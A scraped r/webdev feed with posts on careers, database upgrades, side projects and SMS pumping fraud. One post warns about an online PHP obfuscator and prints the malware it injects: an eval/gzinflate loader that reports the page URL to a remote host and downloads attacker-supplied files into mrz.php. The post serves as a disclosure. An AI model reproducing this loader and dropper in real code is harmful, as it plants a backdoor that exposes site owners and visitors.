r/webdev • u/techie_e • 2h ago
Article GitHub Ditches CSS-in-JS for CSS Modules, Reports 55% Faster SSR after Three-Year Migration
r/webdev • u/AutoModerator • Sep 01 '26
Due to a growing influx of questions on this topic, it has been decided to commit a monthly thread dedicated to this topic to reduce the number of repeat posts on this topic. These types of posts will no longer be allowed in the main thread.
Many of these questions are also addressed in the sub FAQ or may have been asked in previous monthly career threads.
Subs dedicated to these types of questions include r/cscareerquestions for general and opened ended career questions and r/learnprogramming for early learning questions.
A general recommendation of topics to learn to become industry ready include:
You will also need a portfolio of work with 4-5 personal projects you built, and a resume/CV to apply for work.
Plan for 6-12 months of self study and project production for your portfolio before applying for work.
r/webdev • u/AutoModerator • 29d ago
Due to a growing influx of questions on this topic, it has been decided to commit a monthly thread dedicated to this topic to reduce the number of repeat posts on this topic. These types of posts will no longer be allowed in the main thread.
Many of these questions are also addressed in the sub FAQ or may have been asked in previous monthly career threads.
Subs dedicated to these types of questions include r/cscareerquestions for general and opened ended career questions and r/learnprogramming for early learning questions.
A general recommendation of topics to learn to become industry ready include:
You will also need a portfolio of work with 4-5 personal projects you built, and a resume/CV to apply for work.
Plan for 6-12 months of self study and project production for your portfolio before applying for work.
r/webdev • u/techie_e • 2h ago
r/webdev • u/shrek2_enthusiast • 19h ago
I left my job over a year ago and I'm doing ok for now. But how long does that last? 3 months? 1 year? 2? I've been doing web / app dev for 13ish years. Never had issues finding work or feeling like I had a valuable skill. Now pretty much daily I wait for it to fall apart. I have no plans for when that happens. I don't even know what I would plan or learn.
I think companies will still need sites and apps that they aren't going to vibe code and do want to offload that responsibility to professionals, but the companies making them don't really need to hire like they once did. I've had contractor connections of 4+ years dry up over night and basically said "we use AI now".
anyway that is what has been on my mind
For a little context, I've always loved building things, ever since I was a child.
At the age of 12 I started doing HTML and CSS, later at 16 picked up JavaScript, the frameworks and such. It's been 2-3 years now, I really loved the craft and still enjoy it. The morale has been really down recently with AI, but I kept doing it.
And now, the time has come for me to start earning, I went through many sites, subreddits, and everywhere I see, it's just a ton of people saying "for hire" which some of them probably just vibecode their way, and the ones who are hiring either want a senior dev or is a startup asking for a co-founder (basically unpaid work for partnership).
I looked to freelance, upwork straight up just throws away connects for APPLYING, not if I get the work. so that's just a waste.. (ps. I don't have initial money to start)
"Build your own thing"
I do. I have been working on a thing that I always dreamt of since like 3 years for 6 months. very much in progress tho, but that's free work I do for my hobby, not a paid app or anything, it's even open sourced. (ps. I hand write the code there because I actually enjoy it)
and in today's day and age where everyone tries to oneshot their vibecoded applications, my app gets lost in that bs and I struggle to even find users for geunine feedback..
ps. I don't have a school degree which makes applying to remote jobs basically impossible. I'm not in the US or some first world country either to apply IRL.
I genuinely feel so lost regarding web development.. what is a self learnt student who is really passionate about the craft supposed to do? I've been deep in the nooks and cranny of development that it has been basically my life for so long. all for what?
apologies if this sounds like a rant post. but it's not. I just think this might be a really good place to see the thoughts (/get advice) of other devs, or maybe devs who's got it all figured out. idk, I will end up posting this on other subreddits too. this is way too depressing.
r/webdev • u/artensonart98 • 5h ago
I'm looking for a battle-tested, open-source eCommerce backend that handles commerce and payment edge cases reliably, including successful, failed and pending payments, webhooks, reconciliation, background jobs, retries, order lifecycle, etc.
Ideally, I'd prefer a serverless architecture using Hono or a similar framework that can run on Cloudflare Workers or comparable platforms.
My preferences:
What would you recommend? I'd rather build on a proven system than reinvent critical commerce and payment logic.
My goal at the beginning was to write a short list of projects that are good for a first contribution, because I have a few friends who want to get into the open source world and are looking for resources like this. However, most guides I found recommend Next.js, React, Kubernetes or other similarly popular and complex projects and I wasn't sure that was good advice, so I got sidetracked and counted how PRs are treated there. The headline example is that Next.js has 1,553 open PRs that nobody has reviewed in over a month (I have added the queries and scripts I used to count them at the end of the article).
If you're interested about my actual list, you can still find it in the article (in the second half of it): I picked six projects in rust, go, java and python that are less popular than Next.js but review PRs from first-time contributors fairly quickly. I counted their PRs/issues as well and added the stats to each entry
r/webdev • u/Dreadsin • 19h ago
I started working in web dev in 2010 and, frankly, it feels like each year has been worse than the last
Early in my career, I got lots of help and mentorship and attention. I liked my coworkers, they seemed happy and generally very chill. It generally felt like engineers were given high level tasks, a deadline, and a good amount of freedom
As years went on, everything just felt more… corporate. In 2019, I struggled to help my team with frontend, despite it being a tangled mess that was extraordinarily buggy. I struggled to get any leeway to do anything because it always required a “business justification”, and doing that was harder than just slinging more slop and preparing my exit in the meantime. That company failed shortly after I left
I had one last chill job from 2020-2022, that I wish I stayed at honestly. Then I went to Amazon
Everyone was extremely aggro and unprofessional. They made it seem like they’d execute us by firing squad for not delivering perfectly on time, then have impossible amounts of red tape. I figured this was just a solely Amazon problem
Then I went to a smaller company and it was clearly very incompetent. They sent my laptop several days late, after I reminded them they hired me. They then asked me to make ChatGPT in 2 weeks, which I told them isn’t possible, then they got flustered and said they promised a client that they could. I was let go as a result
The next company was… well… so dreadfully awful that I don’t even like talking about them. Worse than Amazon by an order of magnitude
It seems like people present it like web dev was all sunshine and rainbows, then ChatGPT came out and it was cooked. This hasn’t been my experience at all, I’ve noticed a steady, linear decline that just got a little steeper when AI became popular
To me, AI doesn’t feel like some new, exogenous event that messed with the industry. It feels like a continuation of what has been going on for almost 20 years: corporate consolidation. C suite has more power than ever, and workers have next to none. I also think that’s why AI fails; the executives are thinking of work as just a boring task to be completed to mKe their ✨ idea ✨ come to life. In reality, their idea is usually 2% complete and hundreds of people fill in details
r/webdev • u/Chrono_Wolf • 1h ago
This is my first site that I'm deploying myself (someone else always handled this before), and it's for a small business, so a failure has real consequences for the owner.
Setup:
- Shared hosting at Aruba (Italy), Percona Server 5.7.44, one MySQL service with 5 databases but only one is used (~13 MB, utf8mb4_unicode_ci, server charset latin1)
- Live site: WordPress 7.1.5, PHP 8.0.30 (will be bumped to the latest PHP at release)
- The site I'm deploying is pure custom code. It connects to the same database as the live WordPress site (but read/write a different db in the same mysql group).
- The host's panel has an "Upgrade version" button for 5.7 → 8.0. They explicitly say there is NO downgrade, and the service expires in 3 weeks.
The WP site has ~20 plugins, many outdated, including a custom booking plugin with no update channel (the core of the business), an old Slider Revolution without a license, WPBakery 7.3, Meta Box 5.9, and a currency switcher for WooCommerce.
My priorities and fears:
Questions:
- Does an in-place 5.7 → 8.0 upgrade normally preserve everything (wp_options, serialized data, custom tables, triggers)? Which MySQL 8 differences should I check for in both WP plugins and my own code (reserved words, GROUP BY ordering, sql_mode, collation, charset)?
- What's the right mysqldump setup for this, and how do I truly validate the backup before upgrading (I have empty spare DBs on the same service)?
- With a DB shared between WP and my custom code, what's the safest order: PHP first, DB later? Staging on the same server using a copy of the DB, or locally with Docker (mysql:5.7 vs mysql:8.0)?
- Any experience with unmaintained plugins breaking on MySQL 8, and how would you test them before touching production?
Thanks, any checklist or war story is welcome.
r/webdev • u/RoguePoet17 • 15h ago
Hi all, I’m hoping this is the right subreddit, fairly new to the app for posting.
On visual studio code, I’ve been trying to create a web app for my own personal use similar in purpose to MyFitnessPal, but covering more than just diet tracking. I’m not new to coding in general, I’d say I’m pretty okay at python, but coming into HTML, CSS and JavaScript simultaneously has absolutely blown me away. I’m very confused on where to begin, I’ve learnt some basics for each, but unfortunately every video or article I attempt to use to develop tends to point to “vibe coding” which I’m against doing. I’m not sure how to link my .css, .js and .html files together properly, nor do I know how to do the backend and frontend linking.
Ultimately I’d like to be able to search for a food item in a database, if there is no data, then I’ll add it there and then, and I’ll have pie charts showing me progress for the day/week/month etc.
If I’ve explained this terribly, or it’s a daft idea, do let me know. I’m at a loss.
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";r/webdev • u/deadmannnnnnn • 2d ago
I started this a while back as a "what if r/place, but on Street View" idea. You pick a spot on the map, you're dropped into a 360 photo of it, and you can draw on it together with whoever else is there.
I recently came back to it after seeing Adobe's Deep Brush, where the paint follows whatever surface it's on, and I really wanted that here too. So now every place has a depth map and a lighting map, and if you draw across a wall the paint bends with it and gets darker in the shadow. Getting that working was the most fun part of the whole project for me.
Drawings stay, so you can walk around and see what other people left. I added a little fish mural at the Colosseum so it doesn't start out empty :)
It's free, no account, and open source: https://github.com/mrktsm/paintaround.com
Hope you have fun with it: https://paintaround.com/
r/webdev • u/Sweet_Good_2358 • 1d ago
Im curious how other developers and small teams handle secrets when they have multiple projects and environments (Dev, Testing, Staging, Production).
I'm finding that the workflow gets messy surprisingly quickly when multiple people are involved. Sharing .env files, managing access, making sure someone doesn't accidentally overwrite production credentials, keeping everything organized across projects, etc.
What are you using? What frustrates you the most about your current setup?
r/webdev • u/WhatWouldFutureMeDo_ • 20h ago
Landscaping business contacts me from out of the blue. Prefers all email contact (no phone number). Insists on me handling payment to their content consultant and insists on paying me via credit card because they don't have access to Zelle, Venmo, or PayPal. If I handle payment to the consultant then I'm out 4k of my own money on a 2k job.
r/webdev • u/lindymad • 2d ago
For those that do stuff, are you doing direct websockets stuff (send messages, handle when a message arrives), or it is simply utilized as a part of libraries you use, but you don't actually have to dive into it? Do you run your own websockets server, or use a third party service?
I'm working on making a project have more real-time things going on and was wondering how much people here get into websockets development as a regular part of their work.
r/webdev • u/fagnerbrack • 2d ago
r/webdev • u/The_jeee • 1d ago
Hey everyone, I’m a beginner on coding and programming, trying to figure out the best way to set up Claude.
Since you can still view your files and code either way, what concrete advantages do you get from running Claude in the terminal that you can’t get in the VS Code extension?
r/webdev • u/Successful-Ad-5576 • 2d ago
I built 3D Neon Pinball, a full 3D table you can play right inside a Reddit post.
Play Neon Fusion on Reddit — tap PLAY to start.
After building Pinball Karma, I wanted to see if I could make a full 3D table feel good both in the Reddit app on a phone and on desktop. Neon Fusion is the first table, with ramps, a plunger, and multiball. It has touch controls on phones and keyboard controls on desktop.
In ranked modes, signed-in players can compare their best scores on the daily, weekly and all-time leaderboards.
Would love to hear how the table feels, especially on mobile. If you mod a community and want to help test a future build, I’d be happy to hear from you.
r/webdev • u/Miserable_Tiger_5742 • 2d ago
you share a tab's audio (or use your mic, or drop a file in) and it writes the song out as strudel code while it's playing. kick, clap, hats, bass, chords, key, tempo. the lines light up when they hit.
it also draws to the song. there's a bunch of scenes that move with the beat (sharks, a koi pond, the earth from the space station) and a doom-style fire that burns hotter with the bass.
none of the live part is ml, it's all web audio. the kick was the hardest part by far.
there's a demo song button if you don't feel like sharing a tab: https://toaster.locust.lol
the desktop app goes further and can pull a song apart and rebuild it out of its own sounds.
been at it about 3 months. curious what you'd want it to do that it doesn't
source, MIT: https://github.com/StopBanning/toaster
Hi everyone!
I've been working as a freelancer for SMBs for the last few years. Often times my clients asked and required a CMS and since I dislike working with Wordpress, I used a setup of Nuxt and Astro depending on clients and requirements with a headless cms.
While that worked well, it always felt like I had to choose between easy setup (3rd party hosted cms with a vendor lock-in risk) or a second service i had to run, deploy and maintain. Markdown and fully static also were not ideal for my usecase. PayloadCMS is good, but I usually don't write react and it feels heavy.
This is why I built TenonCMS which is a CMS Package you can just install into your vite-based app. It's essentially a plug-and-play package that you can use with Astro, Nuxt and Tanstack Start or any other vite-based framework. It even supports being headless if you want to use it with a different language or stack.
It is entirely free and MIT licenced.
Some notable features:
Website: TenonCMS
Repo: https://github.com/SuddenDev/TenonCMS
Feel free to try it out! I'm happy to get some feedback and users!
If you have any feature requests, let me know. PR and contribution welcome!
Got an auto-recharge email from my SMS provider today, followed by a second one a few minutes later. The projects on that account only get a handful of real signups a day, so burning through a full top-up out of nowhere made no sense.
First thing that threw me off: the regular programmable SMS log was completely empty. Zero messages from today. Dedicated OTP verification APIs keep their own separate attempt logs outside the standard SMS log, and that's where everything was sitting.
One single user account had fired nearly 90 verification SMS requests in about 20 minutes. 0% conversion, sequential numbers in expensive international corridors ($0.30 to $0.75 per text).
I already had rate limits on that endpoint, per phone number and per IP. What I was missing was a per-user limit, a global circuit breaker, and any check on destination SMS cost. So the attacker took one account, sent 5 texts to 5 sequential numbers, hit the IP limit, rotated to a new residential proxy IP, and sent 5 more. Five texts, one IP block, new IP, repeat. Meanwhile the provider's built-in fraud guard was enabled at its default "Standard" level and let every single one of them through.
Two other things that surprised me:
What actually closed it: per-user (hourly + daily) + per-phone + per-IP + global circuit breaker (in that order, with a destination SMS price cap checked before incrementing the global counter so one attacker can't DoS legitimate users), flipping phone verification to inbound messaging where the user sends a code to us for $0, maxing out carrier fraud guard, disabling unused channels (voice verification was wide open globally by default), and tightening geo permissions.
Anyone else run into this? Curious if carrier support actually refunds SMS pumping charges when their default fraud guard misses it.
r/webdev • u/RecognitionUpstairs • 2d ago
I'm a CS student about to graduate, and I wanted my portfolio to be something people actually play with instead of skim.
What it does:
Stack: WebGL2 + GLSL + Web Audio, plain JS and CSS, no framework, served from nginx on Fly.io.
The hardest part was getting it to look sharp at any screen size. I ended up rendering to a fixed low-res canvas and scaling it up with nearest-neighbor.
Feedback welcome, especially on performance on older phones.
I'm asking if the post response is immediate or if they batch past swipe data and send it at once? I don't think they would send a query after every like or dislike, right?